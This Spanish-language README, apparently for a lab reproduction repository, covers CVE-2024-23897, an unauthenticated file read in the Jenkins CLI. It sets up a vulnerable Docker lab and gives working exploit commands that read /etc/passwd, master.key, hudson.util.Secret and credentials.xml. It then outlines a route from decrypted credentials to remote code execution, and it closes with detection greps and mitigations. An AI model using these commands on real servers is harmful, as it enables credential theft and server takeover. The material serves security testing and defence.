
Reproducción de cve-2024-23897-jenkins_lfi_reproduction
CVSS 9.8 (CRÍTICO) — Explotada activamente en la naturaleza
CVE-2024-23897 es una vulnerabilidad crítica de lectura arbitraria de archivos en la interfaz de línea de comandos (CLI) de Jenkins. La CLI de Jenkins utiliza la librería args4j para analizar los argumentos de los comandos. Esta librería expande el carácter @ seguido de una ruta de archivo (@/ruta/al/archivo) leyendo el contenido de dicho archivo e inyectándolo como argumentos. Un atacante no autenticado puede explotar este comportamiento para leer archivos arbitrarios del sistema de archivos del controlador de Jenkins sin requerir autenticación alguna.
Cuando se combina con la extracción de credentials.xml, secretos o master.key, esta vulnerabilidad puede conducir al compromiso total del servidor (RCE).
@ en args4jLa librería args4j (utilizada por el analizador de comandos de la CLI de Jenkins) implementa una funcionalidad de conveniencia: cuando un argumento comienza con @, trata el resto del argumento como una ruta de archivo, lee el contenido de ese archivo y lo divide en múltiples argumentos. Esto estaba pensado para permitir pasar listas grandes de argumentos mediante archivos.
Ejemplo: java -jar jenkins-cli.jar who-am-i @/etc/passwd haría que args4j leyera /etc/passwd y usara su contenido como argumentos para el comando who-am-i.
Dado que ciertos comandos de la CLI (como connect-node) devuelven o incluyen valores de argumentos en mensajes de error/respuesta, un atacante puede observar el contenido de los archivos en la respuesta de la CLI.
@/etc/passwd| Producto | Afectada | Corregida |
|---|---|---|
| Jenkins (semanal) | ≤ 2.441 | 2.442 |
| Jenkins LTS | ≤ 2.426.2 | 2.426.3 |
| Jenkins LTS (anterior) | ≤ 2.414.2 | 2.414.3 |
Nota: Todas las versiones de Jenkins anteriores a las correcciones listadas arriba son vulnerables. La funcionalidad CLI ha existido en Jenkins durante muchos años, por lo que las versiones más antiguas también están afectadas aunque no se listen explícitamente.
Ejecutar una instancia vulnerable de Jenkins con Docker:
docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.440-jdk11
Anota la contraseña de administrador inicial de los registros del contenedor.
Verificar que el puerto de la CLI está abierto:
# El puerto de la CLI de Jenkins (TCP 50000) debería estar escuchando
# O puedes usar el endpoint HTTP de la CLI en /cli/
Instalar Python 3.8+ con las dependencias requeridas:
pip install requests
# Prueba básica de lectura de archivo — leer /etc/passwd
python exploit.py --target http://localhost:8080 --file /etc/passwd
# Leer secretos de Jenkins (ruta de escalada)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml
# Descargar el jar de la CLI de Jenkins
wget http://localhost:8080/jnlpJars/jenkins-cli.jar
# Leer /etc/passwd a través de la CLI
java -jar jenkins-cli.jar -s http://localhost:8080 who-am-i @/etc/passwd 2>&1
# Leer secretos de Jenkins
java -jar jenkins-cli.jar -s http://localhost:8080 connect-node @/var/jenkins_home/secrets/master.key 2>&1
El contenido del archivo aparece en la respuesta de la CLI o en la salida de error. Por ejemplo, leer /etc/passwd devolvería las entradas del archivo de contraseñas del sistema.
# Leer la configuración para entender el entorno
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/config.xml
# Leer usuarios y permisos
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/users/users.xml
# Extraer la clave maestra (usada para cifrar credenciales)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key
# Extraer la clave hudson.util.Secret
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/hudson.util.Secret
# Extraer credenciales (cifradas)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml
Con master.key y hudson.util.Secret, puedes descifrar las credenciales de Jenkins utilizando herramientas como jenkins_decrypt.py o el script decrypt.py de las referencias de CVE-2024-23897. Las credenciales descifradas (claves SSH, tokens de API, claves de proveedores de nube) pueden usarse entonces para lograr ejecución remota de código en nodos conectados y entornos de nube.
Buscar en los registros de acceso o en los registros de auditoría de la CLI argumentos que contengan @ seguido de rutas de archivo:
# grep para acceso CLI sospechoso
grep -r "@/" /var/log/jenkins/access.log
# Verificar conexiones CLI desde IPs inesperadas
grep "CLI" /var/log/jenkins/jenkins.log | grep -v "127.0.0.1"
Si no es posible parchear de inmediato, deshabilita el puerto de la CLI configurando la opción --webroot o bloqueando el puerto 50000. Sin embargo, ten en cuenta que el endpoint HTTP de la CLI (/cli/) dentro de la interfaz web puede seguir siendo explotable, por lo que se recomienda encarecidamente parchear.
Este repositorio es solo para pruebas de seguridad autorizadas y fines educativos. La explotación no autorizada de esta vulnerabilidad es ilegal. Los autores no son responsables del mal uso de esta información. Solo prueba en sistemas que te pertenezcan o para los que tengas permiso explícito por escrito para probar.
| Acción | Detalles |
|---|
| Actualizar Jenkins | Actualizar a Jenkins 2.442+ o LTS 2.426.3+ / 2.414.3+ |
| Deshabilitar el puerto de la CLI | Bloquear el puerto TCP 50000 en el firewall si no es necesario |
| Restringir el acceso de red | Limitar el acceso al puerto de la CLI de Jenkins solo a redes de confianza |
| Habilitar autenticación | Asegurarse de que Jenkins requiera autenticación para todo acceso |
| Monitorear registros | Buscar comandos CLI con argumentos @ en los registros de acceso |